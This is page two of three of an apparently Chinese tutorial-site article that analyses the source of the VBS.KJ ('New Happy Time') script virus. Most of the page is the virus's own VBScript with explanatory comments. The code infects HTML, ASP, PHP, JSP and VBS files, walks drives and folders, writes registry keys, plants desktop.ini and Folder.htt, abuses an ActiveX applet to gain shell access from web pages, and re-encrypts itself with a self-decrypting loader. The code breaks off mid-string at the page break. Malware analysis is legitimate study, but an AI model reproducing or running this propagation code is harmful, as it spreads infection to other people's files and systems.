转至繁体中文版     | 网站首页 | 图文教程 | 资源下载 | 站长博客 | 图片素材 | 武汉seo | 武汉网站优化 | 
最新公告:     敏韬网|教学资源学习资料永久免费分享站!  [mintao  2008年9月2日]        
您现在的位置: 学习笔记 >> 图文教程 >> 软件开发 >> VB.NET程序 >> 正文
VBS.KJ[新欢乐时光] - 源代码分析         ★★★★

VBS.KJ[新欢乐时光] - 源代码分析

作者:闵涛 文章来源:闵涛的学习笔记 点击数:2136 更新时间:2009/4/23 15:43:17
''''   参数:
''''       RegStr      注册表指定键值
''''       FileName    指定文件名
Function KJMailReg(RegStr,FileName)
 On Error Resume Next
    ''''   如果注册表指定键值不存在,则向指定位置写入指定文件名
 RegTempStr = WsShell.RegRead(RegStr)
 If RegTempStr = "" Then
  WsShell.RegWrite RegStr,FileName
 End If
End Function

''''   函数:KJOboSub(CurrentString)
''''   功能:遍历并返回目录路径
''''   参数:
''''       CurrentString   当前目录
Function KJOboSub(CurrentString)
 SubE = 0
 TestOut = 0
 Do While True
  TestOut = TestOut + 1
  If TestOut > 28 Then
   CurrentString = FinalyDisk & ":\"
   Exit Do
  End If
  On Error Resume Next
  ''''   取得当前目录的所有子目录,并且放到字典中
  Set ThisFolder = FSO.GetFolder(CurrentString)
  Set DicSub = CreateObject("Scripting.Dictionary")
  Set Folders = ThisFolder.SubFolders
  FolderCount = 0
  For Each TempFolder in Folders
   FolderCount = FolderCount + 1
   DicSub.add FolderCount, TempFolder.Name
  Next
  ''''   如果没有子目录了,就调用KJChangeSub返回上一级目录或者更换盘符,并将SubE置1
  If DicSub.Count = 0 Then
   LastIndexChar = InstrRev(CurrentString,"\",Len(CurrentString)-1)
   SubString = Mid(CurrentString,LastIndexChar+1,Len(CurrentString)-LastIndexChar-1)
   CurrentString = KJChangeSub(CurrentString,LastIndexChar)
   SubE = 1
  Else
  ''''   如果存在子目录
  ''''       如果SubE为0,则将CurrentString变为它的第1个子目录
   If SubE = 0 Then
    CurrentString = CurrentString & DicSub.Item(1) & "\"
    Exit Do
   Else
  ''''       如果SubE为1,继续遍历子目录,并将下一个子目录返回
    j = 0
    For j = 1 To FolderCount
     If LCase(SubString) = LCase(DicSub.Item(j)) Then
      If j < FolderCount Then
       CurrentString = CurrentString & DicSub.Item(j+1) & "\"
       Exit Do
      End If
     End If
    Next
    LastIndexChar = InstrRev(CurrentString,"\",Len(CurrentString)-1)
    SubString = Mid(CurrentString,LastIndexChar+1,Len(CurrentString)-LastIndexChar-1)
    CurrentString = KJChangeSub(CurrentString,LastIndexChar)
   End If
  End If
 Loop
 KJOboSub = CurrentString
End Function

''''   函数:KJPropagate()
''''   功能:病毒传播
Function KJPropagate()
 On Error Resume Next
 RegPathValue = "HKEY_LOCAL_MACHINE\Software\Microsoft\Outlook Express\Degree"
 DiskDegree = WsShell.RegRead(RegPathValue)
 ''''   如果不存在Degree这个键值,DiskDegree则为FinalyDisk盘
 If DiskDegree = "" Then
  DiskDegree = FinalyDisk & ":\"
 End If
 ''''   继DiskDegree置后感染5个目录
 For i=1 to 5
  DiskDegree = KJOboSub(DiskDegree)
  KJummageFolder(DiskDegree)
 Next
 ''''   将感染记录保存在"HKEY_LOCAL_MACHINE\Software\Microsoft\Outlook Express\Degree"键值中
 WsShell.RegWrite RegPathValue,DiskDegree
End Function

''''   函数:KJummageFolder(PathName)
''''   功能:感染指定目录
''''   参数:
''''       PathName    指定目录
Function KJummageFolder(PathName)
 On Error Resume Next
 ''''   取得目录中的所有文件集
 Set FolderName = FSO.GetFolder(PathName)
 Set ThisFiles = FolderName.Files
 HttExists = 0
 For Each ThisFile In ThisFiles
  FileExt = UCase(FSO.GetExtensionName(ThisFile.Path))
  ''''   判断扩展名
  ''''       若是HTM,HTML,ASP,PHP,JSP则向文件中追加HTML版的病毒体
  ''''       若是VBS则向文件中追加VBS版的病毒体
  ''''       若是HTT,则标志为已经存在HTT了
  If FileExt = "HTM" Or FileExt = "HTML" Or FileExt = "ASP" Or FileExt = "PHP" Or FileExt = "JSP" Then
   Call KJAppendTo(ThisFile.Path,"html")
  ElseIf FileExt = "VBS" Then
   Call KJAppendTo(ThisFile.Path,"vbs")
  ElseIf FileExt = "HTT" Then
   HttExists = 1
  End If
 Next
 ''''   如果所给的路径是桌面,则标志为已经存在HTT了
 If (UCase(PathName) = UCase(WinPath & "Desktop\")) Or (UCase(PathName) = UCase(WinPath & "Desktop"))Then
  HttExists = 1
 End If
 ''''   如果不存在HTT
 ''''       向目录中追加病毒体
 If HttExists = 0 Then
  FSO.CopyFile WinPath & "system32\desktop.ini",PathName
  FSO.CopyFile WinPath & "web\Folder.htt",PathName
 End If
End Function

'''' 函数KJSetDim()
''''  定义FSO,WsShell对象
''''  取得最后一个可用磁盘卷标
''''  生成传染用的加密字串
''''  备份系统中的web\folder.htt和system32\desktop.ini
Function KJSetDim()
 On Error Resume Next
 Err.Clear

 '''' 测试当前执行文件是html还是vbs
 TestIt = WScript.ScriptFullname
 If Err Then
  InWhere = "html"
 Else
  InWhere = "vbs"
 End If
 
 '''' 创建文件访问对象和Shell对象
 If InWhere = "vbs" Then
  Set FSO = CreateObject("Scripting.FileSystemObject")
  Set WsShell = CreateObject("WScript.Shell")
 Else
  Set AppleObject = document.applets("KJ_guest")
  AppleObject.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}")
  AppleObject.createInstance()
  Set WsShell = AppleObject.GetObject()
  AppleObject.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}")
  AppleObject.createInstance()
  Set FSO = AppleObject.GetObject()
 End If
 Set DiskObject = FSO.Drives
 '''' 判断磁盘类型
 ''''
 '''' 0: Unknown
 '''' 1: Removable
 '''' 2: Fixed
 '''' 3: Network
 '''' 4: CD-ROM
 '''' 5: RAM Disk
 '''' 如果不是可移动磁盘或者固定磁盘就跳出循环。可能作者考虑的是网络磁盘、CD-ROM、RAM Disk都是在比较靠后的位置。呵呵,如果C:是RAMDISK会怎么样?
 For Each DiskTemp In DiskObject
  If DiskTemp.DriveType <> 2 And DiskTemp.DriveType <> 1 Then
   Exit For
  End If
  FinalyDisk = DiskTemp.DriveLetter
 Next
 
 '''' 此前的这段病毒体已经解密,并且存放在ThisText中,现在为了传播,需要对它进行再加密。
 '''' 加密算法
 Dim OtherArr(3)
 Randomize
 '''' 随机生成4个算子
 For i=0 To 3
  OtherArr(i) = Int((9 * Rnd))
 Next
 TempString = ""
 For i=1 To Len(ThisText)
  TempNum = Asc(Mid(ThisText,i,1))
  ''''对回车、换行(0x0D,0x0A)做特别的处理
  If TempNum = 13 Then
   TempNum = 28
  ElseIf TempNum = 10 Then
   TempNum = 29
  End If
  ''''很简单的加密处理,每个字符减去相应的算子,那么在解密的时候只要按照这个顺序每个字符加上相应的算子就可以了。
  TempChar = Chr(TempNum - OtherArr(i Mod 4))
  If TempChar = Chr(34) Then
   TempChar = Chr(18)
  End If
  TempString = TempString & TempChar
 Next
 '''' 含有解密算法的字串
 UnLockStr = "Execute(""Dim KeyArr(3),ThisText""&vbCrLf&""KeyArr(0) = " & OtherArr(0) & """&vbCrLf&""KeyArr(1) = " & OtherArr(1) & """&vbCrLf&""KeyArr(2) = " & OtherArr(2) & """&vbCrLf&""KeyArr(3) = " & OtherArr(3) & """&vbCrLf&""For i=1 To Len(ExeString)""&vbCrLf&""TempNum = Asc(Mid(ExeString,i,1))""&vbCrLf&""If TempNum = 18 Then""&vbCrLf&""TempNum = 34""&vbCrLf&""End If""&vbCrLf&""TempChar = Chr(TempNum + KeyArr(i Mod 4))""&vbCrLf&""If TempChar = Chr(28) Then""&vbCrLf&""TempChar = vbCr""&vbCrLf&""ElseIf TempChar = Chr(29) Then""&vbCrLf&""TempChar = vbLf""&vbCrLf&""End If""&vbCrLf&""ThisText = ThisText & TempChar""&vbCrLf&""Next"")" & vbCrLf & "Execute(ThisText)"
 '''' 将加密好的病毒体复制给变量 ThisText
 ThisText = "ExeString = """ & TempString & """"
 '''' 生成html感染用的脚本
 HtmlText ="<" & "script language=vbscript>" & vbCrLf & "document.write " & """" & "<" & "div style=''''position:absolute; left:0px; top:0px; width:0px; height:0px; z-index:28; visibility: hidden''''>" & "<""&""" & "APPLET NAME=KJ""&""_guest HEIGHT=0 WIDTH=0 code=com.ms.""&""activeX.Active""&""XComponent>" & "<" & "/APPLET>" & "<" & "/div>""" & vbCrLf & "<" & "/script>" & vbCrLf & "<" & "script language=vbscript>" & vbCrLf & ThisText & vbCrLf & UnLockStr & vbCrLf & "<" & "/script>" & vbCrLf & "<" & "/BODY>" & vbCrLf & "<" & "

上一页  [1] [2] [3]  下一页


[VB.NET程序]几个 WMI 的例子(初级) - 1  [VB.NET程序]几个 WMI 的例子(初级) - 2
[VB.NET程序]几个 WMI 的例子(初级) - 3  [VB.NET程序]几个 WMI 的例子(初级) - 4
[Delphi程序][Tips]挂起 - 运行外部程式,外部程式退出 - 继续…  [Delphi程序]升级到Delphi 6 - 兼容性问题(中文全文)
[Delphi程序]升级到Delphi 6 - 兼容性问题之三(完)  [Delphi程序]升级到Delphi 6 - 兼容性问题之二
[Delphi程序]升级到Delphi 6 - 兼容性问题之一  [Delphi程序]2001 年軟體界的巨星 - Kylix:李维.
教程录入:mintao    责任编辑:mintao 
  • 上一篇教程:

  • 下一篇教程:
  • 【字体: 】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
      注:本站部分文章源于互联网,版权归原作者所有!如有侵权,请原作者与本站联系,本站将立即删除! 本站文章除特别注明外均可转载,但需注明出处! [MinTao学以致用网]
      网友评论:(只显示最新10条。评论内容只代表网友观点,与本站立场无关!)

    同类栏目
    · C语言系列  · VB.NET程序
    · JAVA开发  · Delphi程序
    · 脚本语言
    更多内容
    热门推荐 更多内容
  • 没有教程
  • 赞助链接
    更多内容
    闵涛博文 更多关于武汉SEO的内容
    500 - 内部服务器错误。

    500 - 内部服务器错误。

    您查找的资源存在问题,因而无法显示。

    | 设为首页 |加入收藏 | 联系站长 | 友情链接 | 版权申明 | 广告服务
    MinTao学以致用网

    Copyright @ 2007-2012 敏韬网(敏而好学,文韬武略--MinTao.Net)(学习笔记) Inc All Rights Reserved.
    闵涛 投放广告、内容合作请Q我! E_mail:admin@mintao.net(欢迎提供学习资源)

    站长:MinTao ICP备案号:鄂ICP备11006601号-18

    闵涛站盟:医药大全-武穴网A打造BCD……
    咸宁网络警察报警平台